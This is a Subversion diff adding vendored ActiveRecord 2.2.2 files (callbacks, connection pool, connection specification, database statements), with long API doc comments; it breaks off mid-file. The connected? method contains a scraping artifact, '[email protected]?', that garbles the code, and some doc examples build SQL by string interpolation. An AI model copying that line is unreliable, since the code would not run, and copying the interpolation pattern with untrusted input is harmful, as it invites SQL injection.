+module ActiveRecord
+  # Callbacks are hooks into the lifecycle of an Active Record object that allow you to trigger logic
+  # before or after an alteration of the object state. This can be used to make sure that associated and
+  # dependent objects are deleted when +destroy+ is called (by overwriting +before_destroy+) or to massage attributes
+  # before they're validated (by overwriting +before_validation+). As an example of the callbacks initiated, consider
+  # the <tt>Base#save</tt> call for a new record:
+  #
+  # * (-) <tt>save</tt>
+  # * (-) <tt>valid</tt>
+  # * (1) <tt>before_validation</tt>
+  # * (2) <tt>before_validation_on_create</tt>
+  # * (-) <tt>validate</tt>
+  # * (-) <tt>validate_on_create</tt>
+  # * (3) <tt>after_validation</tt>
+  # * (4) <tt>after_validation_on_create</tt>
+  # * (5) <tt>before_save</tt>
+  # * (6) <tt>before_create</tt>
+  # * (-) <tt>create</tt>
+  # * (7) <tt>after_create</tt>
+  # * (8) <tt>after_save</tt>
+  #
+  # That's a total of eight callbacks, which gives you immense power to react and prepare for each state in the
+  # Active Record lifecycle. The sequence for calling <tt>Base#save</tt> an existing record is similar, except that each 
+  # <tt>_on_create</tt> callback is replaced by the corresponding <tt>_on_update</tt> callback.
+  #
+  # Examples:
+  #   class CreditCard < ActiveRecord::Base
+  #     # Strip everything but digits, so the user can specify "555 234 34" or
+  #     # "5552-3434" or both will mean "55523434"
+  #     def before_validation_on_create
+  #       self.number = number.gsub(/[^0-9]/, "") if attribute_present?("number")
+  #     end
+  #   end
+  #
+  #   class Subscription < ActiveRecord::Base
+  #     before_create :record_signup
+  #
+  #     private
+  #       def record_signup
+  #         self.signed_up_on = Date.today
+  #       end
+  #   end
+  #
+  #   class Firm < ActiveRecord::Base
+  #     # Destroys the associated clients and people when the firm is destroyed
+  #     before_destroy { |record| Person.destroy_all "firm_id = #{record.id}"   }
+  #     before_destroy { |record| Client.destroy_all "client_of = #{record.id}" }
+  #   end
+  #
+  # == Inheritable callback queues
+  #
+  # Besides the overwritable callback methods, it's also possible to register callbacks through the use of the callback macros.
+  # Their main advantage is that the macros add behavior into a callback queue that is kept intact down through an inheritance
+  # hierarchy. Example:
+  #
+  #   class Topic < ActiveRecord::Base
+  #     before_destroy :destroy_author
+  #   end
+  #
+  #   class Reply < Topic
+  #     before_destroy :destroy_readers
+  #   end
+  #
+  # Now, when <tt>Topic#destroy</tt> is run only +destroy_author+ is called. When <tt>Reply#destroy</tt> is run, both +destroy_author+ and
+  # +destroy_readers+ are called. Contrast this to the situation where we've implemented the save behavior through overwriteable
+  # methods:
+  #
+  #   class Topic < ActiveRecord::Base
+  #     def before_destroy() destroy_author end
+  #   end
+  #
+  #   class Reply < Topic
+  #     def before_destroy() destroy_readers end
+  #   end
+  #
+  # In that case, <tt>Reply#destroy</tt> would only run +destroy_readers+ and _not_ +destroy_author+. So, use the callback macros when
+  # you want to ensure that a certain callback is called for the entire hierarchy, and use the regular overwriteable methods
+  # when you want to leave it up to each descendent to decide whether they want to call +super+ and trigger the inherited callbacks.
+  #
+  # *IMPORTANT:* In order for inheritance to work for the callback queues, you must specify the callbacks before specifying the
+  # associations. Otherwise, you might trigger the loading of a child before the parent has registered the callbacks and they won't
+  # be inherited.
+  #
+  # == Types of callbacks
+  #
+  # There are four types of callbacks accepted by the callback macros: Method references (symbol), callback objects,
+  # inline methods (using a proc), and inline eval methods (using a string). Method references and callback objects are the
+  # recommended approaches, inline methods using a proc are sometimes appropriate (such as for creating mix-ins), and inline
+  # eval methods are deprecated.
+  #
+  # The method reference callbacks work by specifying a protected or private method available in the object, like this:
+  #
+  #   class Topic < ActiveRecord::Base
+  #     before_destroy :delete_parents
+  #
+  #     private
+  #       def delete_parents
+  #         self.class.delete_all "parent_id = #{id}"
+  #       end
+  #   end
+  #
+  # The callback objects have methods named after the callback called with the record as the only parameter, such as:
+  #
+  #   class BankAccount < ActiveRecord::Base
+  #     before_save      EncryptionWrapper.new("credit_card_number")
+  #     after_save       EncryptionWrapper.new("credit_card_number")
+  #     after_initialize EncryptionWrapper.new("credit_card_number")
+  #   end
+  #
+  #   class EncryptionWrapper
+  #     def initialize(attribute)
+  #       @attribute = attribute
+  #     end
+  #
+  #     def before_save(record)
+  #       record.credit_card_number = encrypt(record.credit_card_number)
+  #     end
+  #
+  #     def after_save(record)
+  #       record.credit_card_number = decrypt(record.credit_card_number)
+  #     end
+  #
+  #     alias_method :after_find, :after_save
+  #
+  #     private
+  #       def encrypt(value)
+  #         # Secrecy is committed
+  #       end
+  #
+  #       def decrypt(value)
+  #         # Secrecy is unveiled
+  #       end
+  #   end
+  #
+  # So you specify the object you want messaged on a given callback. When that callback is triggered, the object has
+  # a method by the name of the callback messaged.
+  #
+  # The callback macros usually accept a symbol for the method they're supposed to run, but you can also pass a "method string",
+  # which will then be evaluated within the binding of the callback. Example:
+  #
+  #   class Topic < ActiveRecord::Base
+  #     before_destroy 'self.class.delete_all "parent_id = #{id}"'
+  #   end
+  #
+  # Notice that single quotes (') are used so the <tt>#{id}</tt> part isn't evaluated until the callback is triggered. Also note that these
+  # inline callbacks can be stacked just like the regular ones:
+  #
+  #   class Topic < ActiveRecord::Base
+  #     before_destroy 'self.class.delete_all "parent_id = #{id}"',
+  #                    'puts "Evaluated after parents are destroyed"'
+  #   end
+  #
+  # == The +after_find+ and +after_initialize+ exceptions
+  #
+  # Because +after_find+ and +after_initialize+ are called for each object found and instantiated by a finder, such as <tt>Base.find(:all)</tt>, we've had
+  # to implement a simple performance constraint (50% more speed on a simple test case). Unlike all the other callbacks, +after_find+ and
+  # +after_initialize+ will only be run if an explicit implementation is defined (<tt>def after_find</tt>). In that case, all of the
+  # callback types will be called.
+  #
+  # == <tt>before_validation*</tt> returning statements
+  #
+  # If the returning value of a +before_validation+ callback can be evaluated to +false+, the process will be aborted and <tt>Base#save</tt> will return +false+.
+  # If Base#save! is called it will raise a ActiveRecord::RecordInvalid exception.
+  # Nothing will be appended to the errors object.
+  #
+  # == Canceling callbacks
+  #
+  # If a <tt>before_*</tt> callback returns +false+, all the later callbacks and the associated action are cancelled. If an <tt>after_*</tt> callback returns
+  # +false+, all the later callbacks are cancelled. Callbacks are generally run in the order they are defined, with the exception of callbacks
+  # defined as methods on the model, which are called last.
+  #
+  # == Transactions
+  #
+  # The entire callback chain of a +save+, <tt>save!</tt>, or +destroy+ call runs
+  # within a transaction. That includes <tt>after_*</tt> hooks. If everything
+  # goes fine a COMMIT is executed once the chain has been completed.
+  #
+  # If a <tt>before_*</tt> callback cancels the action a ROLLBACK is issued. You
+  # can also trigger a ROLLBACK raising an exception in any of the callbacks,
+  # including <tt>after_*</tt> hooks. Note, however, that in that case the client
+  # needs to be aware of it because an ordinary +save+ will raise such exception
+  # instead of quietly returning +false+.
+  module Callbacks
+    CALLBACKS = %w(
+      after_find after_initialize before_save after_save before_create after_create before_update after_update before_validation
+      after_validation before_validation_on_create after_validation_on_create before_validation_on_update
+      after_validation_on_update before_destroy after_destroy
+    )
+
+    def self.included(base) #:nodoc:
+      base.extend Observable
+
+      [:create_or_update, :valid?, :create, :update, :destroy].each do |method|
+        base.send :alias_method_chain, method, :callbacks
+      end
+
+      base.send :include, ActiveSupport::Callbacks
+      base.define_callbacks *CALLBACKS
+    end
+
+    # Is called when the object was instantiated by one of the finders, like <tt>Base.find</tt>.
+    #def after_find() end
+
+    # Is called after the object has been instantiated by a call to <tt>Base.new</tt>.
+    #def after_initialize() end
+
+    # Is called _before_ <tt>Base.save</tt> (regardless of whether it's a +create+ or +update+ save).
+    def before_save() end
+
+    # Is called _after_ <tt>Base.save</tt> (regardless of whether it's a +create+ or +update+ save).
+    # Note that this callback is still wrapped in the transaction around +save+. For example, if you
+    # invoke an external indexer at this point it won't see the changes in the database.
+    #
+    #  class Contact < ActiveRecord::Base
+    #    after_save { logger.info( 'New contact saved!' ) }
+    #  end
+    def after_save()  end
+    def create_or_update_with_callbacks #:nodoc:
+      return false if callback(:before_save) == false
+      result = create_or_update_without_callbacks
+      callback(:after_save)
+      result
+    end
+    private :create_or_update_with_callbacks
+
+    # Is called _before_ <tt>Base.save</tt> on new objects that haven't been saved yet (no record exists).
+    def before_create() end
+
+    # Is called _after_ <tt>Base.save</tt> on new objects that haven't been saved yet (no record exists).
+    # Note that this callback is still wrapped in the transaction around +save+. For example, if you
+    # invoke an external indexer at this point it won't see the changes in the database.
+    def after_create() end
+    def create_with_callbacks #:nodoc:
+      return false if callback(:before_create) == false
+      result = create_without_callbacks
+      callback(:after_create)
+      result
+    end
+    private :create_with_callbacks
+
+    # Is called _before_ <tt>Base.save</tt> on existing objects that have a record.
+    def before_update() end
+
+    # Is called _after_ <tt>Base.save</tt> on existing objects that have a record.
+    # Note that this callback is still wrapped in the transaction around +save+. For example, if you
+    # invoke an external indexer at this point it won't see the changes in the database.
+    def after_update() end
+
+    def update_with_callbacks(*args) #:nodoc:
+      return false if callback(:before_update) == false
+      result = update_without_callbacks(*args)
+      callback(:after_update)
+      result
+    end
+    private :update_with_callbacks
+
+    # Is called _before_ <tt>Validations.validate</tt> (which is part of the <tt>Base.save</tt> call).
+    def before_validation() end
+
+    # Is called _after_ <tt>Validations.validate</tt> (which is part of the <tt>Base.save</tt> call).
+    def after_validation() end
+
+    # Is called _before_ <tt>Validations.validate</tt> (which is part of the <tt>Base.save</tt> call) on new objects
+    # that haven't been saved yet (no record exists).
+    def before_validation_on_create() end
+
+    # Is called _after_ <tt>Validations.validate</tt> (which is part of the <tt>Base.save</tt> call) on new objects
+    # that haven't been saved yet (no record exists).
+    def after_validation_on_create()  end
+
+    # Is called _before_ <tt>Validations.validate</tt> (which is part of the <tt>Base.save</tt> call) on
+    # existing objects that have a record.
+    def before_validation_on_update() end
+
+    # Is called _after_ <tt>Validations.validate</tt> (which is part of the <tt>Base.save</tt> call) on
+    # existing objects that have a record.
+    def after_validation_on_update()  end
+
+    def valid_with_callbacks? #:nodoc:
+      return false if callback(:before_validation) == false
+      if new_record? then result = callback(:before_validation_on_create) else result = callback(:before_validation_on_update) end
+      return false if false == result
+
+      result = valid_without_callbacks?
+
+      callback(:after_validation)
+      if new_record? then callback(:after_validation_on_create) else callback(:after_validation_on_update) end
+
+      return result
+    end
+
+    # Is called _before_ <tt>Base.destroy</tt>.
+    #
+    # Note: If you need to _destroy_ or _nullify_ associated records first,
+    # use the <tt>:dependent</tt> option on your associations.
+    def before_destroy() end
+
+    # Is called _after_ <tt>Base.destroy</tt> (and all the attributes have been frozen).
+    #
+    #  class Contact < ActiveRecord::Base
+    #    after_destroy { |record| logger.info( "Contact #{record.id} was destroyed." ) }
+    #  end
+    def after_destroy()  end
+    def destroy_with_callbacks #:nodoc:
+      return false if callback(:before_destroy) == false
+      result = destroy_without_callbacks
+      callback(:after_destroy)
+      result
+    end
+
+    private
+      def callback(method)
+        result = run_callbacks(method) { |result, object| false == result }
+
+        if result != false && respond_to_without_attributes?(method)
+          result = send(method)
+        end
+
+        notify(method)
+
+        return result
+      end
+
+      def notify(method) #:nodoc:
+        self.class.changed
+        self.class.notify_observers(method, self)
+      end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/lib/active_record/connection_adapters/abstract/connection_pool.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/lib/active_record/connection_adapters/abstract/connection_pool.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/lib/active_record/connection_adapters/abstract/connection_pool.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,355 @@
+require 'monitor'
+require 'set'
+
+module ActiveRecord
+  # Raised when a connection could not be obtained within the connection
+  # acquisition timeout period.
+  class ConnectionTimeoutError < ConnectionNotEstablished
+  end
+
+  module ConnectionAdapters
+    # Connection pool base class for managing ActiveRecord database
+    # connections.
+    #
+    # == Introduction
+    #
+    # A connection pool synchronizes thread access to a limited number of
+    # database connections. The basic idea is that each thread checks out a
+    # database connection from the pool, uses that connection, and checks the
+    # connection back in. ConnectionPool is completely thread-safe, and will
+    # ensure that a connection cannot be used by two threads at the same time,
+    # as long as ConnectionPool's contract is correctly followed. It will also
+    # handle cases in which there are more threads than connections: if all
+    # connections have been checked out, and a thread tries to checkout a
+    # connection anyway, then ConnectionPool will wait until some other thread
+    # has checked in a connection.
+    #
+    # == Obtaining (checking out) a connection
+    #
+    # Connections can be obtained and used from a connection pool in several
+    # ways:
+    #
+    # 1. Simply use ActiveRecord::Base.connection as with ActiveRecord 2.1 and
+    #    earlier (pre-connection-pooling). Eventually, when you're done with
+    #    the connection(s) and wish it to be returned to the pool, you call
+    #    ActiveRecord::Base.clear_active_connections!. This will be the
+    #    default behavior for ActiveRecord when used in conjunction with
+    #    ActionPack's request handling cycle.
+    # 2. Manually check out a connection from the pool with
+    #    ActiveRecord::Base.connection_pool.checkout. You are responsible for
+    #    returning this connection to the pool when finished by calling
+    #    ActiveRecord::Base.connection_pool.checkin(connection).
+    # 3. Use ActiveRecord::Base.connection_pool.with_connection(&block), which
+    #    obtains a connection, yields it as the sole argument to the block,
+    #    and returns it to the pool after the block completes.
+    #
+    # Connections in the pool are actually AbstractAdapter objects (or objects
+    # compatible with AbstractAdapter's interface).
+    #
+    # == Options
+    #
+    # There are two connection-pooling-related options that you can add to
+    # your database connection configuration:
+    #
+    # * +pool+: number indicating size of connection pool (default 5)
+    # * +wait_timeout+: number of seconds to block and wait for a connection
+    #   before giving up and raising a timeout error (default 5 seconds).
+    class ConnectionPool
+      attr_reader :spec
+
+      # Creates a new ConnectionPool object. +spec+ is a ConnectionSpecification
+      # object which describes database connection information (e.g. adapter,
+      # host name, username, password, etc), as well as the maximum size for
+      # this ConnectionPool.
+      #
+      # The default ConnectionPool maximum size is 5.
+      def initialize(spec)
+        @spec = spec
+
+        # The cache of reserved connections mapped to threads
+        @reserved_connections = {}
+
+        # The mutex used to synchronize pool access
+        @connection_mutex = Monitor.new
+        @queue = @connection_mutex.new_cond
+
+        # default 5 second timeout unless on ruby 1.9
+        @timeout =
+          if RUBY_VERSION < '1.9'
+            spec.config[:wait_timeout] || 5
+          end
+
+        # default max pool size to 5
+        @size = (spec.config[:pool] && spec.config[:pool].to_i) || 5
+
+        @connections = []
+        @checked_out = []
+      end
+
+      # Retrieve the connection associated with the current thread, or call
+      # #checkout to obtain one if necessary.
+      #
+      # #connection can be called any number of times; the connection is
+      # held in a hash keyed by the thread id.
+      def connection
+        if conn = @reserved_connections[current_connection_id]
+          conn
+        else
+          @reserved_connections[current_connection_id] = checkout
+        end
+      end
+
+      # Signal that the thread is finished with the current connection.
+      # #release_connection releases the connection-thread association
+      # and returns the connection to the pool.
+      def release_connection
+        conn = @reserved_connections.delete(current_connection_id)
+        checkin conn if conn
+      end
+
+      # Reserve a connection, and yield it to a block. Ensure the connection is
+      # checked back in when finished.
+      def with_connection
+        conn = checkout
+        yield conn
+      ensure
+        checkin conn
+      end
+
+      # Returns true if a connection has already been opened.
+      def connected?
+        [email protected]?
+      end
+
+      # Disconnects all connections in the pool, and clears the pool.
+      def disconnect!
+        @reserved_connections.each do |name,conn|
+          checkin conn
+        end
+        @reserved_connections = {}
+        @connections.each do |conn|
+          conn.disconnect!
+        end
+        @connections = []
+      end
+
+      # Clears the cache which maps classes
+      def clear_reloadable_connections!
+        @reserved_connections.each do |name, conn|
+          checkin conn
+        end
+        @reserved_connections = {}
+        @connections.each do |conn|
+          conn.disconnect! if conn.requires_reloading?
+        end
+        @connections = []
+      end
+
+      # Verify active connections and remove and disconnect connections
+      # associated with stale threads.
+      def verify_active_connections! #:nodoc:
+        clear_stale_cached_connections!
+        @connections.each do |connection|
+          connection.verify!
+        end
+      end
+
+      # Return any checked-out connections back to the pool by threads that
+      # are no longer alive.
+      def clear_stale_cached_connections!
+        remove_stale_cached_threads!(@reserved_connections) do |name, conn|
+          checkin conn
+        end
+      end
+
+      # Check-out a database connection from the pool, indicating that you want
+      # to use it. You should call #checkin when you no longer need this.
+      #
+      # This is done by either returning an existing connection, or by creating
+      # a new connection. If the maximum number of connections for this pool has
+      # already been reached, but the pool is empty (i.e. they're all being used),
+      # then this method will wait until a thread has checked in a connection.
+      # The wait time is bounded however: if no connection can be checked out
+      # within the timeout specified for this pool, then a ConnectionTimeoutError
+      # exception will be raised.
+      #
+      # Returns: an AbstractAdapter object.
+      #
+      # Raises:
+      # - ConnectionTimeoutError: no connection can be obtained from the pool
+      #   within the timeout period.
+      def checkout
+        # Checkout an available connection
+        @connection_mutex.synchronize do
+          loop do
+            conn = if @checked_out.size < @connections.size
+                     checkout_existing_connection
+                   elsif @connections.size < @size
+                     checkout_new_connection
+                   end
+            return conn if conn
+            # No connections available; wait for one
+            if @queue.wait(@timeout)
+              next
+            else
+              # try looting dead threads
+              clear_stale_cached_connections!
+              if @size == @checked_out.size
+                raise ConnectionTimeoutError, "could not obtain a database connection#{" within #{@timeout} seconds" if @timeout}.  The max pool size is currently #{@size}; consider increasing it."
+              end
+            end
+          end
+        end
+      end
+
+      # Check-in a database connection back into the pool, indicating that you
+      # no longer need this connection.
+      #
+      # +conn+: an AbstractAdapter object, which was obtained by earlier by
+      # calling +checkout+ on this pool.
+      def checkin(conn)
+        @connection_mutex.synchronize do
+          conn.run_callbacks :checkin
+          @checked_out.delete conn
+          @queue.signal
+        end
+      end
+
+      synchronize :clear_reloadable_connections!, :verify_active_connections!,
+        :connected?, :disconnect!, :with => :@connection_mutex
+
+      private
+      def new_connection
+        ActiveRecord::Base.send(spec.adapter_method, spec.config)
+      end
+
+      def current_connection_id #:nodoc:
+        Thread.current.object_id
+      end
+
+      # Remove stale threads from the cache.
+      def remove_stale_cached_threads!(cache, &block)
+        keys = Set.new(cache.keys)
+
+        Thread.list.each do |thread|
+          keys.delete(thread.object_id) if thread.alive?
+        end
+        keys.each do |key|
+          next unless cache.has_key?(key)
+          block.call(key, cache[key])
+          cache.delete(key)
+        end
+      end
+
+      def checkout_new_connection
+        c = new_connection
+        @connections << c
+        checkout_and_verify(c)
+      end
+
+      def checkout_existing_connection
+        c = (@connections - @checked_out).first
+        checkout_and_verify(c)
+      end
+
+      def checkout_and_verify(c)
+        c.verify!
+        c.run_callbacks :checkout
+        @checked_out << c
+        c
+      end
+    end
+
+    # ConnectionHandler is a collection of ConnectionPool objects. It is used
+    # for keeping separate connection pools for ActiveRecord models that connect
+    # to different databases.
+    #
+    # For example, suppose that you have 5 models, with the following hierarchy:
+    #
+    #  |
+    #  +-- Book
+    #  |    |
+    #  |    +-- ScaryBook
+    #  |    +-- GoodBook
+    #  +-- Author
+    #  +-- BankAccount
+    #
+    # Suppose that Book is to connect to a separate database (i.e. one other
+    # than the default database). Then Book, ScaryBook and GoodBook will all use
+    # the same connection pool. Likewise, Author and BankAccount will use the
+    # same connection pool. However, the connection pool used by Author/BankAccount
+    # is not the same as the one used by Book/ScaryBook/GoodBook.
+    #
+    # Normally there is only a single ConnectionHandler instance, accessible via
+    # ActiveRecord::Base.connection_handler. ActiveRecord models use this to
+    # determine that connection pool that they should use.
+    class ConnectionHandler
+      def initialize(pools = {})
+        @connection_pools = pools
+      end
+
+      def connection_pools
+        @connection_pools ||= {}
+      end
+
+      def establish_connection(name, spec)
+        @connection_pools[name] = ConnectionAdapters::ConnectionPool.new(spec)
+      end
+
+      # Returns any connections in use by the current thread back to the pool,
+      # and also returns connections to the pool cached by threads that are no
+      # longer alive.
+      def clear_active_connections!
+        @connection_pools.each_value {|pool| pool.release_connection }
+      end
+
+      # Clears the cache which maps classes
+      def clear_reloadable_connections!
+        @connection_pools.each_value {|pool| pool.clear_reloadable_connections! }
+      end
+
+      def clear_all_connections!
+        @connection_pools.each_value {|pool| pool.disconnect! }
+      end
+
+      # Verify active connections.
+      def verify_active_connections! #:nodoc:
+        @connection_pools.each_value {|pool| pool.verify_active_connections! }
+      end
+
+      # Locate the connection of the nearest super class. This can be an
+      # active or defined connection: if it is the latter, it will be
+      # opened and set as the active connection for the class it was defined
+      # for (not necessarily the current class).
+      def retrieve_connection(klass) #:nodoc:
+        pool = retrieve_connection_pool(klass)
+        (pool && pool.connection) or raise ConnectionNotEstablished
+      end
+
+      # Returns true if a connection that's accessible to this class has
+      # already been opened.
+      def connected?(klass)
+        conn = retrieve_connection_pool(klass)
+        conn ? conn.connected? : false
+      end
+
+      # Remove the connection for this class. This will close the active
+      # connection and the defined connection (if they exist). The result
+      # can be used as an argument for establish_connection, for easily
+      # re-establishing the connection.
+      def remove_connection(klass)
+        pool = @connection_pools[klass.name]
+        @connection_pools.delete_if { |key, value| value == pool }
+        pool.disconnect! if pool
+        pool.spec.config if pool
+      end
+
+      def retrieve_connection_pool(klass)
+        pool = @connection_pools[klass.name]
+        return pool if pool
+        return nil if ActiveRecord::Base == klass
+        retrieve_connection_pool klass.superclass
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/lib/active_record/connection_adapters/abstract/connection_specification.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/lib/active_record/connection_adapters/abstract/connection_specification.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/lib/active_record/connection_adapters/abstract/connection_specification.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,136 @@
+module ActiveRecord
+  class Base
+    class ConnectionSpecification #:nodoc:
+      attr_reader :config, :adapter_method
+      def initialize (config, adapter_method)
+        @config, @adapter_method = config, adapter_method
+      end
+    end
+
+    # The connection handler
+    cattr_accessor :connection_handler, :instance_writer => false
+    @@connection_handler = ConnectionAdapters::ConnectionHandler.new
+
+    # Returns the connection currently associated with the class. This can
+    # also be used to "borrow" the connection to do database work that isn't
+    # easily done without going straight to SQL.
+    def connection
+      self.class.connection
+    end
+
+    # Establishes the connection to the database. Accepts a hash as input where
+    # the <tt>:adapter</tt> key must be specified with the name of a database adapter (in lower-case)
+    # example for regular databases (MySQL, Postgresql, etc):
+    #
+    #   ActiveRecord::Base.establish_connection(
+    #     :adapter  => "mysql",
+    #     :host     => "localhost",
+    #     :username => "myuser",
+    #     :password => "mypass",
+    #     :database => "somedatabase"
+    #   )
+    #
+    # Example for SQLite database:
+    #
+    #   ActiveRecord::Base.establish_connection(
+    #     :adapter => "sqlite",
+    #     :database  => "path/to/dbfile"
+    #   )
+    #
+    # Also accepts keys as strings (for parsing from YAML for example):
+    #
+    #   ActiveRecord::Base.establish_connection(
+    #     "adapter" => "sqlite",
+    #     "database"  => "path/to/dbfile"
+    #   )
+    #
+    # The exceptions AdapterNotSpecified, AdapterNotFound and ArgumentError
+    # may be returned on an error.
+    def self.establish_connection(spec = nil)
+      case spec
+        when nil
+          raise AdapterNotSpecified unless defined? RAILS_ENV
+          establish_connection(RAILS_ENV)
+        when ConnectionSpecification
+          @@connection_handler.establish_connection(name, spec)
+        when Symbol, String
+          if configuration = configurations[spec.to_s]
+            establish_connection(configuration)
+          else
+            raise AdapterNotSpecified, "#{spec} database is not configured"
+          end
+        else
+          spec = spec.symbolize_keys
+          unless spec.key?(:adapter) then raise AdapterNotSpecified, "database configuration does not specify adapter" end
+
+          begin
+            require 'rubygems'
+            gem "activerecord-#{spec[:adapter]}-adapter"
+            require "active_record/connection_adapters/#{spec[:adapter]}_adapter"
+          rescue LoadError
+            begin
+              require "active_record/connection_adapters/#{spec[:adapter]}_adapter"
+            rescue LoadError
+              raise "Please install the #{spec[:adapter]} adapter: `gem install activerecord-#{spec[:adapter]}-adapter` (#{$!})"
+            end
+          end
+
+          adapter_method = "#{spec[:adapter]}_connection"
+          if !respond_to?(adapter_method)
+            raise AdapterNotFound, "database configuration specifies nonexistent #{spec[:adapter]} adapter"
+          end
+
+          remove_connection
+          establish_connection(ConnectionSpecification.new(spec, adapter_method))
+      end
+    end
+
+    class << self
+      # Deprecated and no longer has any effect.
+      def allow_concurrency
+        ActiveSupport::Deprecation.warn("ActiveRecord::Base.allow_concurrency has been deprecated and no longer has any effect. Please remove all references to allow_concurrency.")
+      end
+
+      # Deprecated and no longer has any effect.
+      def allow_concurrency=(flag)
+        ActiveSupport::Deprecation.warn("ActiveRecord::Base.allow_concurrency= has been deprecated and no longer has any effect. Please remove all references to allow_concurrency=.")
+      end
+
+      # Deprecated and no longer has any effect.
+      def verification_timeout
+        ActiveSupport::Deprecation.warn("ActiveRecord::Base.verification_timeout has been deprecated and no longer has any effect. Please remove all references to verification_timeout.")
+      end
+
+      # Deprecated and no longer has any effect.
+      def verification_timeout=(flag)
+        ActiveSupport::Deprecation.warn("ActiveRecord::Base.verification_timeout= has been deprecated and no longer has any effect. Please remove all references to verification_timeout=.")
+      end
+
+      # Returns the connection currently associated with the class. This can
+      # also be used to "borrow" the connection to do database work unrelated
+      # to any of the specific Active Records.
+      def connection
+        retrieve_connection
+      end
+
+      def connection_pool
+        connection_handler.retrieve_connection_pool(self)
+      end
+
+      def retrieve_connection
+        connection_handler.retrieve_connection(self)
+      end
+
+      def connected?
+        connection_handler.connected?(self)
+      end
+
+      def remove_connection(klass = self)
+        connection_handler.remove_connection(klass)
+      end
+
+      delegate :clear_active_connections!, :clear_reloadable_connections!,
+        :clear_all_connections!,:verify_active_connections!, :to => :connection_handler
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/lib/active_record/connection_adapters/abstract/database_statements.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/lib/active_record/connection_adapters/abstract/database_statements.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/lib/active_record/connection_adapters/abstract/database_statements.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,201 @@
+module ActiveRecord
+  module ConnectionAdapters # :nodoc:
+    module DatabaseStatements
+      # Returns an array of record hashes with the column names as keys and
+      # column values as values.
+      def select_all(sql, name = nil)
+        select(sql, name)
+      end
+
+      # Returns a record hash with the column names as keys and column values
+      # as values.
+      def select_one(sql, name = nil)
+        result = select_all(sql, name)
+        result.first if result
+      end
+
+      # Returns a single value from a record
+      def select_value(sql, name = nil)
+        if result = select_one(sql, name)
+          result.values.first
+        end
+      end
+
+      # Returns an array of the values of the first column in a select:
+      #   select_values("SELECT id FROM companies LIMIT 3") => [1,2,3]
+      def select_values(sql, name = nil)
+        result = select_rows(sql, name)
+        result.map { |v| v[0] }
+      end
+
+      # Returns an array of arrays containing the field values.
+      # Order is the same as that returned by +columns+.
+      def select_rows(sql, name = nil)
+        raise NotImplementedError, "select_rows is an abstract method"
+      end
+
+      # Executes the SQL statement in the context of this connection.
+      def execute(sql, name = nil)
+        raise NotImplementedError, "execute is an abstract method"
+      end
+
+      # Returns the last auto-generated ID from the affected table.
+      def insert(sql, name = nil, pk = nil, id_value = nil, sequence_name = nil)
+        insert_sql(sql, name, pk, id_value, sequence_name)
+      end
+
+      # Executes the update statement and returns the number of rows affected.
+      def update(sql, name = nil)
+        update_sql(sql, name)
+      end
+
+      # Executes the delete statement and returns the number of rows affected.
+      def delete(sql, name = nil)
+        delete_sql(sql, name)
+      end
+
+      # Wrap a block in a transaction.  Returns result of block.
+      def transaction(start_db_transaction = true)
+        transaction_open = false
+        begin
+          if block_given?
+            if start_db_transaction
+              begin_db_transaction
+              transaction_open = true
+            end
+            yield
+          end
+        rescue Exception => database_transaction_rollback
+          if transaction_open
+            transaction_open = false
+            rollback_db_transaction
+          end
+          raise unless database_transaction_rollback.is_a? ActiveRecord::Rollback
+        end
+      ensure
+        if transaction_open
+          begin
+            commit_db_transaction
+          rescue Exception => database_transaction_rollback
+            rollback_db_transaction
+            raise
+          end
+        end
+      end
+
+      # Begins the transaction (and turns off auto-committing).
+      def begin_db_transaction()    end
+
+      # Commits the transaction (and turns on auto-committing).
+      def commit_db_transaction()   end
+
+      # Rolls back the transaction (and turns on auto-committing). Must be
+      # done if the transaction block raises an exception or returns false.
+      def rollback_db_transaction() end
+
+      # Alias for <tt>add_limit_offset!</tt>.
+      def add_limit!(sql, options)
+        add_limit_offset!(sql, options) if options
+      end
+
+      # Appends +LIMIT+ and +OFFSET+ options to an SQL statement, or some SQL
+      # fragment that has the same semantics as LIMIT and OFFSET.
+      #
+      # +options+ must be a Hash which contains a +:limit+ option (required)
+      # and an +:offset+ option (optional).
+      #
+      # This method *modifies* the +sql+ parameter.
+      #
+      # ===== Examples
+      #  add_limit_offset!('SELECT * FROM suppliers', {:limit => 10, :offset => 50})
+      # generates
+      #  SELECT * FROM suppliers LIMIT 10 OFFSET 50
+      def add_limit_offset!(sql, options)
+        if limit = options[:limit]
+          sql << " LIMIT #{sanitize_limit(limit)}"
+          if offset = options[:offset]
+            sql << " OFFSET #{offset.to_i}"
+          end
+        end
+        sql
+      end
+
+      # Appends a locking clause to an SQL statement.
+      # This method *modifies* the +sql+ parameter.
+      #   # SELECT * FROM suppliers FOR UPDATE
+      #   add_lock! 'SELECT * FROM suppliers', :lock => true
+      #   add_lock! 'SELECT * FROM suppliers', :lock => ' FOR UPDATE'
+      def add_lock!(sql, options)
+        case lock = options[:lock]
+          when true;   sql << ' FOR UPDATE'
+          when String; sql << " #{lock}"
+        end
+      end
+
+      def default_sequence_name(table, column)
+        nil
+      end
+
+      # Set the sequence to the max value of the table's column.
+      def reset_sequence!(table, column, sequence = nil)
+        # Do nothing by default.  Implement for PostgreSQL, Oracle, ...
+      end
+
+      # Inserts the given fixture into the table. Overridden in adapters that require
+      # something beyond a simple insert (eg. Oracle).
+      def insert_fixture(fixture, table_name)
+        execute "INSERT INTO #{quote_table_name(table_name)} (#{fixture.key_list}) VALUES (#{fixture.value_list})", 'Fixture Insert'
